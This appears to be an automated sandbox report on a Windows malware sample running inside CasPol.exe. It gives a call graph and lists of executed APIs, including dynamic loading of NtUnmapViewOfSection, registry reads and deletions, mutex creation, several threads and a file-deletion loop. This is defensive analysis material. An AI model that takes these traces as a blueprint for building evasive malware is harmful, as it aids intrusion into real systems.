__ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 47271->47272 47273 4434cd 47272->47273 47273->47232 47669 436050 47274->47669 47276 433c71 GetStartupInfoW 47277 433aa1 47276->47277 47278 443422 47277->47278 47670 44ddc9 47278->47670 47280 44342b 47281 433aaa 47280->47281 47674 44e0d3 35 API calls 47280->47674 47283 40d767 47281->47283 47831 41bce3 LoadLibraryA GetProcAddress 47283->47831 47285 40d783 GetModuleFileNameW 47836 40e168 47285->47836 47287 40d79f 47851 401fbd 28 API calls 47287->47851 47289 40d7ae 47852 401fbd 28 API calls 47289->47852 47291 40d7bd 47853 41afc3 28 API calls 47291->47853 47293 40d7c6 47854 40e8bd 11 API calls 47293->47854 47295 40d7cf 47855 401d8c 11 API calls 47295->47855 47297 40d7d8 47298 40d835 47297->47298 47299 40d7eb 47297->47299 47856 401d64 22 API calls 47298->47856 47876 40e986 111 API calls 47299->47876 47302 40d7fd 47877 401d64 22 API calls 47302->47877 47303 40d845 47857 401d64 22 API calls 47303->47857 47306 40d864 47858 404cbf 28 API calls 47306->47858 47308 40d809 47878 40e937 65 API calls 47308->47878 47309 40d873 47859 405ce6 28 API calls 47309->47859 47312 40d87f 47860 401eef 47312->47860 47313 40d824 47879 40e155 65 API calls 47313->47879 47316 40d88b 47864 401eea 47316->47864 47317 40d82d 47320 401eea 11 API calls 47317->47320 47319 40d894 47321 401eea 11 API calls 47319->47321 47322 40dc9f 47320->47322 47323 40d89d 47321->47323 47554 433c94 GetModuleHandleW 47322->47554 47868 401d64 22 API calls 47323->47868 47325 40d8a6 47869 401ebd 28 API calls 47325->47869 47327 40d8b1 47870 401d64 22 API calls 47327->47870 47329 40d8ca 47871 401d64 22 API calls 47329->47871 47331 40d8e5 47344 40d946 47331->47344 47880 4085b4 28 API calls 47331->47880 47334 40d912 47335 401eef 11 API calls 47334->47335 47336 40d91e 47335->47336 47337 401eea 11 API calls 47336->47337 47341 40d927 47337->47341 47339 40d9aa 47339->47317 47884 41a463 33 API calls 47339->47884 47340 40d95d 47351 40d9a4 47340->47351 47882 4124b7 RegOpenKeyExA RegQueryValueExA RegCloseKey 47340->47882 47881 4124b7 RegOpenKeyExA RegQueryValueExA RegCloseKey 47341->47881 47346 40e134 47344->47346 47872 401d64 22 API calls 47344->47872 47970 412902 30 API calls 47346->47970 47347 40d9c5 47350 40da18 47347->47350 47885 40697b RegOpenKeyExA RegQueryValueExA RegCloseKey 47347->47885 47348 40d988 47348->47351 47883 412902 30 API calls 47348->47883 47890 401d64 22 API calls 47350->47890 47873 40bed7 47351->47873 47355 40da21 47364 40da32 47355->47364 47365 40da2d 47355->47365 47356 40d9e0 47358 40d9e4 47356->47358 47359 40d9ee 47356->47359 47357 40e14a 47971 4112b5 64 API calls ___scrt_fastfail 47357->47971 47886 40699d 30 API calls 47358->47886 47888 401d64 22 API calls 47359->47888 47892 401d64 22 API calls 47364->47892 47891 4069ba CreateProcessA CloseHandle CloseHandle ___scrt_fastfail 47365->47891 47366 40d9e9 47887 4064d0 97 API calls 47366->47887 47370 40da3b 47893 41ae08 28 API calls 47370->47893 47372 40d9f7 47372->47350 47374 40da13 47372->47374 47373 40da46 47894 401e18 11 API calls 47373->47894 47889 4064d0 97 API calls 47374->47889 47377 40da51 47895 401e13 11 API calls 47377->47895 47379 40da5a 47896 401d64 22 API calls 47379->47896 47381 40da63 47897 401d64 22 API calls 47381->47897 47383 40da7d 47898 401d64 22 API calls 47383->47898 47385 40da97 47899 401d64 22 API calls 47385->47899 47387 40db22 47390 40db2c 47387->47390 47395 40dcaa ___scrt_fastfail 47387->47395 47388 40dab0 47388->47387 47900 401d64 22 API calls 47388->47900 47391 40db35 47390->47391 47398 40dbb1 47390->47398 47906 401d64 22 API calls 47391->47906 47393 40db3e 47907 401d64 22 API calls 47393->47907 47394 40dac5 _wcslen 47394->47387 47901 401d64 22 API calls 47394->47901 47917 41265d RegOpenKeyExA RegQueryValueExA RegCloseKey 47395->47917 47397 40db50 47908 401d64 22 API calls 47397->47908 47421 40dbac ___scrt_fastfail 47398->47421 47400 40dae0 47902 401d64 22 API calls 47400->47902 47403 40db62 47909 401d64 22 API calls 47403->47909 47405 40daf5 47903 40c89e 31 API calls 47405->47903 47406 40dcef 47918 401d64 22 API calls 47406->47918 47410 40db8b 47910 401d64 22 API calls 47410->47910 47411 40dd16 47919 401f66 28 API calls 47411->47919 47412 40db08 47904 401e18 11 API calls 47412->47904 47414 40db14 47905 401e13 11 API calls 47414->47905 47417 40dd25 47920 4126d2 14 API calls 47417->47920 47419 40db9c 47911 40bc67 45 API calls _wcslen 47419->47911 47420 40db1d 47420->47387 47421->47398 47912 4128a2 31 API calls 47421->47912 47425 40dd3b 47921 401d64 22 API calls 47425->47921 47426 40dc45 ctype 47913 401d64 22 API calls 47426->47913 47428 40dd47 47922 43a5e7 39 API calls _strftime 47428->47922 47431 40dd54 47433 40dd81 47431->47433 47923 41beb0 86 API calls ___scrt_fastfail 47431->47923 47432 40dc5c 47432->47406 47914 401d64 22 API calls 47432->47914 47924 401f66 28 API calls 47433->47924 47435 40dc7e 47915 41ae08 28 API calls 47435->47915 47439 40dd65 CreateThread 47439->47433 48005 41c96f 10 API calls 47439->48005 47440 40dd96 47925 401f66 28 API calls 47440->47925 47441 40dc87 47916 40e219 109 API calls 47441->47916 47444 40dda5 47926 41a686 79 API calls 47444->47926 47445 40dc8c 47445->47406 47447 40dc93 47445->47447 47447->47317 47448 40ddaa 47927 401d64 22 API calls 47448->47927 47450 40ddb6 47928 401d64 22 API calls 47450->47928 47452 40ddcb 47929 401d64 22 API calls 47452->47929 47454 40ddeb 47930 43a5e7 39 API calls _strftime 47454->47930 47456 40ddf8 47931 401d64 22 API calls 47456->47931 47458 40de03 47932 401d64 22 API calls 47458->47932 47460 40de14 47933 401d64 22 API calls 47460->47933 47462 40de29 47934 401d64 22 API calls 47462->47934 47464 40de3a 47465 40de41 StrToIntA 47464->47465 47935 409517 142 API calls _wcslen 47465->47935 47467 40de53 47936 401d64 22 API calls 47467->47936 47469 40dea1 47939 401d64 22 API calls 47469->47939 47470 40de5c 47470->47469 47937 43360d 22 API calls 3 library calls 47470->47937 47473 40de71 47938 401d64 22 API calls 47473->47938 47475 40de84 47476 40de8b CreateThread 47475->47476 47476->47469 47999 419128 102 API calls 2 library calls 47476->47999 47477 40def9 47942 401d64 22 API calls 47477->47942 47478 40deb1 47478->47477 47940 43360d 22 API calls 3 library calls 47478->47940 47481 40dec6 47941 401d64 22 API calls 47481->47941 47483 40ded8 47486 40dedf CreateThread 47483->47486 47484 40df6c 47948 401d64 22 API calls 47484->47948 47485 40df02 47485->47484 47943 401d64 22 API calls 47485->47943 47486->47477 48004 419128 102 API calls 2 library calls 47486->48004 47489 40df1e 47944 401d64 22 API calls 47489->47944 47490 40df75 47491 40dfba 47490->47491 47949 401d64 22 API calls 47490->47949 47953 41a7a2 29 API calls 47491->47953 47495 40df33 47945 40c854 31 API calls 47495->47945 47496 40dfc3 47954 401e18 11 API calls 47496->47954 47497 40df8a 47950 401d64 22 API calls 47497->47950 47499 40dfce 47955 401e13 11 API calls 47499->47955 47501 40df46 47946 401e18 11 API calls 47501->47946 47504 40df9f 47951 43a5e7 39 API calls _strftime 47504->47951 47506 40dfd7 CreateThread 47509 40e004 47506->47509 47510 40dff8 CreateThread 47506->47510 48000 40e54f 82 API calls 47506->48000 47507 40df52 47947 401e13 11 API calls 47507->47947 47512 40e019 47509->47512 47513 40e00d CreateThread 47509->47513 47510->47509 48001 410f36 138 API calls 47510->48001 47517 40e073 47512->47517 47956 401f66 28 API calls 47512->47956 47513->47512 48002 411524 38 API calls ___scrt_fastfail 47513->48002 47515 40df5b CreateThread 47515->47484 48003 40196b 49 API calls _strftime 47515->48003 47516 40dfac 47952 40b95c 7 API calls 47516->47952 47960 41246e RegOpenKeyExA RegQueryValueExA RegCloseKey 47517->47960 47520 40e046 47957 404c9e 28 API calls 47520->47957 47523 40e08b 47525 40e12a 47523->47525 47961 41ae08 28 API calls 47523->47961 47524 40e053 47958 401f66 28 API calls 47524->47958 47968 40cbac 27 API calls 47525->47968 47529 40e062 47959 41a686 79 API calls 47529->47959 47530 40e12f 47969 413fd4 168 API calls _strftime 47530->47969 47531 40e0a4 47962 412584 31 API calls 47531->47962 47534 40e067 47535 401eea 11 API calls 47534->47535 47535->47517 47537 40e0ba 47963 401e13 11 API calls 47537->47963 47539 40e0ed DeleteFileW 47540 40e0f4 47539->47540 47541 40e0c5 47539->47541 47964 41ae08 28 API calls 47540->47964 47541->47539 47541->47540 47542 40e0db Sleep 47541->47542 47542->47541 47544 40e104 47965 41297a RegOpenKeyExW RegDeleteValueW 47544->47965 47546 40e117 47966 401e13 11 API calls 47546->47966 47548 40e121 47967 401e13 11 API calls 47548->47967 48007 44243b 47550->48007 47553->47240 47554->47249 47555->47251 47556->47254 47557->47229 47559->47258 47561 4379f3 ___vcrt_initialize_winapi_thunks 47560->47561 47573 438cb9 47561->47573 47563 437a01 47563->47260 47566 437a09 47567 437a14 47566->47567 47587 438cf5 DeleteCriticalSection 47566->47587 47567->47260 47615 44e949 47569->47615 47572 437a17 8 API calls 3 library calls 47572->47265 47574 438cc2 47573->47574 47576 438ceb 47574->47576 47577 4379fd 47574->47577 47588 438f46 47574->47588 47593 438cf5 DeleteCriticalSection 47576->47593 47577->47563 47579 437ecf 47577->47579 47608 438e57 47579->47608 47583 437ef2 47584 437eff 47583->47584 47614 437f02 6 API calls ___vcrt_FlsFree 47583->47614 47584->47566 47586 437ee4 47586->47566 47587->47563 47594 438de8 47588->47594 47590 438f60 47591 438f7e InitializeCriticalSectionAndSpinCount 47590->47591 47592 438f69 47590->47592 47591->47592 47592->47574 47593->47577 47595 438e10 47594->47595 47600 438e0c __crt_fast_encode_pointer 47594->47600 47595->47600 47601 438d24 47595->47601 47598 438e2a GetProcAddress 47599 438e3a __crt_fast_encode_pointer 47598->47599 47598->47600 47599->47600 47600->47590 47606 438d33 try_get_first_available_module 47601->47606 47602 438ddd 47602->47598 47602->47600 47603 438d50 LoadLibraryExW 47604 438d6b GetLastError 47603->47604 47603->47606 47604->47606 47605 438dc6 FreeLibrary 47605->47606 47606->47602 47606->47603 47606->47605 47607 438d9e LoadLibraryExW 47606->47607 47607->47606 47609 438de8 try_get_function 5 API calls 47608->47609 47610 438e71 47609->47610 47611 438e8a TlsAlloc 47610->47611 47612 437ed9 47610->47612 47612->47586 47613 438f08 6 API calls try_get_function 47612->47613 47613->47583 47614->47586 47618 44e966 47615->47618 47619 44e962 47615->47619 47616 433d2c __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 47617 4336da 47616->47617 47617->47263 47617->47572 47618->47619 47621 4489ad 47618->47621 47619->47616 47622 4489b9 __FrameHandler3::FrameUnwindToState 47621->47622 47633 444acc EnterCriticalSection 47622->47633 47624 4489c0 47634 44ef64 47624->47634 47626 4489cf 47627 4489de 47626->47627 47645 448841 23 API calls 47626->47645 47647 4489fa LeaveCriticalSection std::_Lockit::~_Lockit 47627->47647 47630 4489d9 47646 4488f7 GetStdHandle GetFileType 47630->47646 47631 4489ef __wsopen_s 47631->47618 47633->47624 47635 44ef70 __FrameHandler3::FrameUnwindToState 47634->47635 47636 44ef94 47635->47636 47637 44ef7d 47635->47637 47648 444acc EnterCriticalSection 47636->47648 47656 445354 20 API calls _free 47637->47656 47640 44ef82 __wsopen_s 47640->47626 47643 44efa0 47644 44efcc 47643->47644 47649 44eeb5 47643->47649 47657 44eff3 LeaveCriticalSection std::_Lockit::~_Lockit 47644->47657 47645->47630 47646->47627 47647->47631 47648->47643 47658 448706 47649->47658 47651 44eec7 47655 44eed4 47651->47655 47665 44772e 11 API calls 2 library calls 47651->47665 47654 44ef26 47654->47643 47666 446ac5 20 API calls _free 47655->47666 47656->47640 47657->47640 47663 448713 _strftime 47658->47663 47659 448753 47668 445354 20 API calls _free 47659->47668 47660 44873e RtlAllocateHeap 47661 448751 47660->47661 47660->47663 47661->47651 47663->47659 47663->47660 47667 442200 7 API calls 2 library calls 47663->47667 47665->47651 47666->47654 47667->47663 47668->47661 47669->47276 47671 44dddb 47670->47671 47672 44ddd2 47670->47672 47671->47280 47675 44dcc8 47672->47675 47674->47280 47695 446ebf GetLastError 47675->47695 47677 44dcd5 47715 44dde7 47677->47715 47679 44dcdd 47724 44da5c 47679->47724 47682 44dcf4 47682->47671 47685 44dd37 47749 446ac5 20 API calls _free 47685->47749 47689 44dd32 47748 445354 20 API calls _free 47689->47748 47691 44dd7b 47691->47685 47751 44d932 20 API calls 47691->47751 47692 44dd4f 47692->47691 47750 446ac5 20 API calls _free 47692->47750 47696 446ed5 47695->47696 47697 446edb 47695->47697 47752 447466 11 API calls 2 library calls 47696->47752 47699 448706 std::_Locinfo::_Locinfo_dtor 20 API calls 47697->47699 47701 446f2a SetLastError 47697->47701 47700 446eed 47699->47700 47706 446ef5 47700->47706 47754 4474bc 11 API calls 2 library calls 47700->47754 47701->47677 47703 446f0a 47705 446f11 47703->47705 47703->47706 47755 446d31 20 API calls __Getctype 47705->47755 47753 446ac5 20 API calls _free 47706->47753 47707 446efb 47709 446f36 SetLastError 47707->47709 47757 4453b6 35 API calls _abort 47709->47757 47710 446f1c 47756 446ac5 20 API calls _free 47710->47756 47714 446f23 47714->47701 47714->47709 47716 44ddf3 __FrameHandler3::FrameUnwindToState 47715->47716 47717 446ebf __Getctype 35 API calls 47716->47717 47718 44ddfd 47717->47718 47722 44de81 __wsopen_s 47718->47722 47758 4453b6 35 API calls _abort 47718->47758 47759 444acc EnterCriticalSection 47718->47759 47760 446ac5 20 API calls _free 47718->47760 47761 44de78 LeaveCriticalSection std::_Lockit::~_Lockit 47718->47761 47722->47679 47762 4392de 47724->47762 47727 44da7d GetOEMCP 47729 44daa6 47727->47729 47728 44da8f 47728->47729 47730 44da94 GetACP 47728->47730 47729->47682 47731 446aff 47729->47731 47730->47729 47732 446b3d 47731->47732 47736 446b0d _strftime 47731->47736 47773 445354 20 API calls _free 47732->47773 47734 446b28 RtlAllocateHeap 47735 446b3b 47734->47735 47734->47736 47735->47685 47738 44de89 47735->47738 47736->47732 47736->47734 47772 442200 7 API calls 2 library calls 47736->47772 47739 44da5c 37 API calls 47738->47739 47741 44dea8 47739->47741 47740 44deaf 47743 433d2c __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 47740->47743 47741->47740 47742 44df1e ___scrt_fastfail 47741->47742 47745 44def9 IsValidCodePage 47741->47745 47774 44db34 GetCPInfo 47742->47774 47744 44dd2a 47743->47744 47744->47689 47744->47692 47745->47740 47746 44df0b GetCPInfo 47745->47746 47746->47740 47746->47742 47748->47685 47749->47682 47750->47691 47751->47685 47752->47697 47753->47707 47754->47703 47755->47710 47756->47714 47759->47718 47760->47718 47761->47718 47763 4392f1 47762->47763 47764 4392fb 47762->47764 47763->47727 47763->47728 47764->47763 47765 446ebf __Getctype 35 API calls 47764->47765 47766 43931c 47765->47766 47770 44700e 35 API calls __Getctype 47766->47770 47768 439335 47771 44703b 35 API calls _strftime 47768->47771 47770->47768 47771->47763 47772->47736 47773->47735 47775 44dc18 47774->47775 47781 44db6e 47774->47781 47778 433d2c __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 47775->47778 47780 44dcc4 47778->47780 47780->47740 47784 44fed3 47781->47784 47783 449b6d _swprintf 40 API calls 47783->47775 47785 4392de _strftime 35 API calls 47784->47785 47786 44fef3 MultiByteToWideChar 47785->47786 47788 44ff31 47786->47788 47792 44ffc3 __freea 47786->47792 47790 446aff _strftime 21 API calls 47788->47790 47793 44ff52 __alloca_probe_16 ___scrt_fastfail 47788->47793 47789 433d2c __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 47791 44dbcf 47789->47791 47790->47793 47796 449b6d 47791->47796 47792->47789 47793->47792 47794 44ff97 MultiByteToWideChar 47793->47794 47794->47792 47795 44ffb3 GetStringTypeW 47794->47795 47795->47792 47797 4392de _strftime 35 API calls 47796->47797 47798 449b80 47797->47798 47801 449950 47798->47801 47802 44996b ___crtLCMapStringA 47801->47802 47803 449991 MultiByteToWideChar 47802->47803 47804 4499bb 47803->47804 47821 449a91 __freea 47803->47821 47808 446aff _strftime 21 API calls 47804->47808 47809 4499dc __alloca_probe_16 47804->47809 47805 433d2c __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 47806 449b58 47805->47806 47806->47783 47807 449a25 MultiByteToWideChar 47810 449a3e 47807->47810 47807->47821 47808->47809 47809->47807 47809->47821 47822 44785d 47810->47822 47813 449aa0 47815 446aff _strftime 21 API calls 47813->47815 47817 449ac1 __alloca_probe_16 47813->47817 47814 449a68 47816 44785d _strftime 11 API calls 47814->47816 47814->47821 47815->47817 47816->47821 47818 44785d _strftime 11 API calls 47817->47818 47817->47821 47819 449b15 47818->47819 47820 449b24 WideCharToMultiByte 47819->47820 47819->47821 47820->47821 47821->47805 47823 447174 __Getctype 5 API calls 47822->47823 47824 447884 47823->47824 47827 44788d 47824->47827 47830 4478e5 10 API calls 3 library calls 47824->47830 47826 4478cd LCMapStringW 47826->47827 47828 433d2c __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 47827->47828 47829 4478df 47828->47829 47829->47813 47829->47814 47829->47821 47830->47826 47832 41bd22 LoadLibraryA GetProcAddress 47831->47832 47833 41bd12 GetModuleHandleA GetProcAddress 47831->47833 47834 41bd4b 32 API calls 47832->47834 47835 41bd3b LoadLibraryA GetProcAddress 47832->47835 47833->47832 47834->47285 47835->47834 47972 41a63f FindResourceA 47836->47972 47840 40e192 ctype 47982 401f86 47840->47982 47843 401eef 11 API calls 47844 40e1b8 47843->47844 47845 401eea 11 API calls 47844->47845 47846 40e1c1 47845->47846 47847 43a88c ___std_exception_copy 21 API calls 47846->47847 47848 40e1d2 ctype 47847->47848 47986 406052 28 API calls 47848->47986 47850 40e205 47850->47287 47851->47289 47852->47291 47853->47293 47854->47295 47855->47297 47856->47303 47857->47306 47858->47309 47859->47312 47861 401efe 47860->47861 47863 401f0a 47861->47863 47994 4021b9 11 API calls 47861->47994 47863->47316 47866 4021b9 47864->47866 47865 4021e8 47865->47319 47866->47865 47995 40262e 11 API calls _Deallocate 47866->47995 47868->47325 47869->47327 47870->47329 47871->47331 47872->47340 47996 401e8f 47873->47996 47875 40bee1 CreateMutexA GetLastError 47875->47339 47876->47302 47877->47308 47878->47313 47880->47334 47881->47344 47882->47348 47883->47351 47884->47347 47885->47356 47886->47366 47887->47359 47888->47372 47889->47350 47890->47355 47891->47364 47892->47370 47893->47373 47894->47377 47895->47379 47896->47381 47897->47383 47898->47385 47899->47388 47900->47394 47901->47400 47902->47405 47903->47412 47904->47414 47905->47420 47906->47393 47907->47397 47908->47403 47909->47410 47910->47419 47911->47421 47912->47426 47913->47432 47914->47435 47915->47441 47916->47445 47917->47406 47918->47411 47919->47417 47920->47425 47921->47428 47922->47431 47923->47439 47924->47440 47925->47444 47926->47448 47927->47450 47928->47452 47929->47454 47930->47456 47931->47458 47932->47460 47933->47462 47934->47464 47935->47467 47936->47470 47937->47473 47938->47475 47939->47478 47940->47481 47941->47483 47942->47485 47943->47489 47944->47495 47945->47501 47946->47507 47947->47515 47948->47490 47949->47497 47950->47504 47951->47516 47952->47491 47953->47496 47954->47499 47955->47506 47956->47520 47957->47524 47958->47529 47959->47534 47960->47523 47961->47531 47962->47537 47963->47541 47964->47544 47965->47546 47966->47548 47967->47525 47968->47530 47998 419e89 104 API calls 47969->47998 47970->47357 47973 40e183 47972->47973 47974 41a65c LoadResource LockResource SizeofResource 47972->47974 47975 43a88c 47973->47975 47974->47973 47981 446aff _strftime 47975->47981 47976 446b3d 47988 445354 20 API calls _free 47976->47988 47978 446b28 RtlAllocateHeap 47979 446b3b 47978->47979 47978->47981 47979->47840 47981->47976 47981->47978 47987 442200 7 API calls 2 library calls 47981->47987 47983 401f8e 47982->47983 47989 402325 47983->47989 47985 401fa4 47985->47843 47986->47850 47987->47981 47988->47979 47990 40232f 47989->47990 47992 40233a 47990->47992 47993 40294a 28 API calls 47990->47993 47992->47985 47993->47992 47994->47863 47995->47865 47997 401e94 47996->47997 48006 411637 62 API calls 48001->48006 48008 442447 _abort 48007->48008 48009 442460 48008->48009 48010 44244e 48008->48010 48031 444acc EnterCriticalSection 48009->48031 48043 442595 GetModuleHandleW 48010->48043 48013 442453 48013->48009 48044 4425d9 GetModuleHandleExW 48013->48044 48014 442505 48032 442545 48014->48032 48018 4424dc 48022 4424f4 48018->48022 48027 443475 _abort 5 API calls 48018->48027 48020 442522 48035 442554 48020->48035 48021 44254e 48053 456499 5 API calls __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 48021->48053 48028 443475 _abort 5 API calls 48022->48028 48023 442467 48023->48014 48023->48018 48052 4431ef 20 API calls _abort 48023->48052 48027->48022 48028->48014 48031->48023 48054 444b14 LeaveCriticalSection 48032->48054 48034 44251e 48034->48020 48034->48021 48055 447973 48035->48055 48038 442582 48041 4425d9 _abort 8 API calls 48038->48041 48039 442562 GetPEB 48039->48038 48040 442572 GetCurrentProcess TerminateProcess 48039->48040 48040->48038 48042 44258a ExitProcess 48041->48042 48043->48013 48045 442626 48044->48045 48046 442603 GetProcAddress 48044->48046 48048 442635 48045->48048 48049 44262c FreeLibrary 48045->48049 48047 442618 48046->48047 48047->48045 48050 433d2c __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 48048->48050 48049->48048 48051 44245f 48050->48051 48051->48009 48052->48018 48054->48034 48056 447998 48055->48056 48060 44798e 48055->48060 48057 447174 __Getctype 5 API calls 48056->48057 48057->48060 48058 433d2c __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 48059 44255e 48058->48059 48059->48038 48059->48039 48060->48058 48061 4339ac 48066 433cd7 SetUnhandledExceptionFilter 48061->48066 48063 4339b1 pre_c_initialization 48067 4447cb 20 API calls 2 library calls 48063->48067 48065 4339bc 48066->48063 48067->48065

                                                                                                                                                                  Executed Functions

                                                                                                                                                                  Function 0041BCE3 Relevance: 115.6, APIs: 40, Strings: 26, Instructions: 140libraryloaderCOMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  APIs
                                                                                                                                                                  • LoadLibraryA.KERNEL32(Psapi), ref: 0041BCF8
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BD01
                                                                                                                                                                  • GetModuleHandleA.KERNEL32(Kernel32,GetProcessImageFileNameW,?,?,?,?,0040D783), ref: 0041BD18
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BD1B
                                                                                                                                                                  • LoadLibraryA.KERNEL32(shcore), ref: 0041BD2D
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BD30
                                                                                                                                                                  • LoadLibraryA.KERNEL32(user32), ref: 0041BD41
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BD44
                                                                                                                                                                  • LoadLibraryA.KERNEL32(ntdll), ref: 0041BD55
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BD58
                                                                                                                                                                  • LoadLibraryA.KERNEL32(kernel32), ref: 0041BD65
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BD68
                                                                                                                                                                  • GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,?,?,0040D783), ref: 0041BD75
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BD78
                                                                                                                                                                  • GetModuleHandleA.KERNEL32(kernel32,GetComputerNameExW,?,?,?,?,0040D783), ref: 0041BD85
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BD88
                                                                                                                                                                  • LoadLibraryA.KERNEL32(Shell32), ref: 0041BD99
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BD9C
                                                                                                                                                                  • GetModuleHandleA.KERNEL32(kernel32,SetProcessDEPPolicy,?,?,?,?,0040D783), ref: 0041BDA9
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BDAC
                                                                                                                                                                  • GetModuleHandleA.KERNEL32(user32,EnumDisplayDevicesW,?,?,?,?,0040D783), ref: 0041BDBD
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BDC0
                                                                                                                                                                  • GetModuleHandleA.KERNEL32(user32,EnumDisplayMonitors,?,?,?,?,0040D783), ref: 0041BDD1
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BDD4
                                                                                                                                                                  • GetModuleHandleA.KERNEL32(user32,GetMonitorInfoW,?,?,?,?,0040D783), ref: 0041BDE5
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BDE8
                                                                                                                                                                  • GetModuleHandleA.KERNEL32(kernel32,GetSystemTimes,?,?,?,?,0040D783), ref: 0041BDF5
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BDF8
                                                                                                                                                                  • LoadLibraryA.KERNEL32(Shlwapi), ref: 0041BE06
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BE09
                                                                                                                                                                  • LoadLibraryA.KERNEL32(kernel32), ref: 0041BE16
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BE19
                                                                                                                                                                  • GetModuleHandleA.KERNEL32(ntdll,NtSuspendProcess,?,?,?,?,0040D783), ref: 0041BE2B
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BE2E
                                                                                                                                                                  • GetModuleHandleA.KERNEL32(ntdll,NtResumeProcess,?,?,?,?,0040D783), ref: 0041BE3B
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BE3E
                                                                                                                                                                  • LoadLibraryA.KERNEL32(Iphlpapi), ref: 0041BE50
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BE53
                                                                                                                                                                  • LoadLibraryA.KERNEL32(Iphlpapi), ref: 0041BE60
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BE63
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: AddressProc$HandleLibraryLoadModule
                                                                                                                                                                  • String ID: EnumDisplayDevicesW$EnumDisplayMonitors$GetComputerNameExW$GetConsoleWindow$GetExtendedTcpTable$GetExtendedUdpTable$GetMonitorInfoW$GetProcessImageFileNameW$GetSystemTimes$GlobalMemoryStatusEx$Iphlpapi$IsUserAnAdmin$IsWow64Process$Kernel32$NtResumeProcess$NtSuspendProcess$NtUnmapViewOfSection$Psapi$SetProcessDEPPolicy$SetProcessDpiAwareness$Shell32$Shlwapi$kernel32$ntdll$shcore$user32
                                                                                                                                                                  • API String ID: 384173800-625181639
                                                                                                                                                                  • Opcode ID: 0789f4e3f810de028ed60e0db8f6a6efc83e65cfda48e5b03c752fe52fb7e632
                                                                                                                                                                  • Instruction ID: 894fbade80705e672e772900be83df88f70523cf1842e1027a1ce5ee2e2841b6
                                                                                                                                                                  • Opcode Fuzzy Hash: 0789f4e3f810de028ed60e0db8f6a6efc83e65cfda48e5b03c752fe52fb7e632
                                                                                                                                                                  • Instruction Fuzzy Hash: 2831EDA0E4031C7ADA107FB69C49E5B7E9CD944B953110827B508D3162FBBDA9809EEE
                                                                                                                                                                  Function 00442554 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  • Executed
                                                                                                                                                                  • Not Executed
                                                                                                                                                                  control_flow_graph 139 442554-442560 call 447973 142 442582-44258e call 4425d9 ExitProcess 139->142 143 442562-442570 GetPEB 139->143 143->142 144 442572-44257c GetCurrentProcess TerminateProcess 143->144 144->142
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetCurrentProcess.KERNEL32(?,?,0044252A,?), ref: 00442575
                                                                                                                                                                  • TerminateProcess.KERNEL32(00000000,?,0044252A,?), ref: 0044257C
                                                                                                                                                                  • ExitProcess.KERNEL32 ref: 0044258E
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Process$CurrentExitTerminate
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1703294689-0
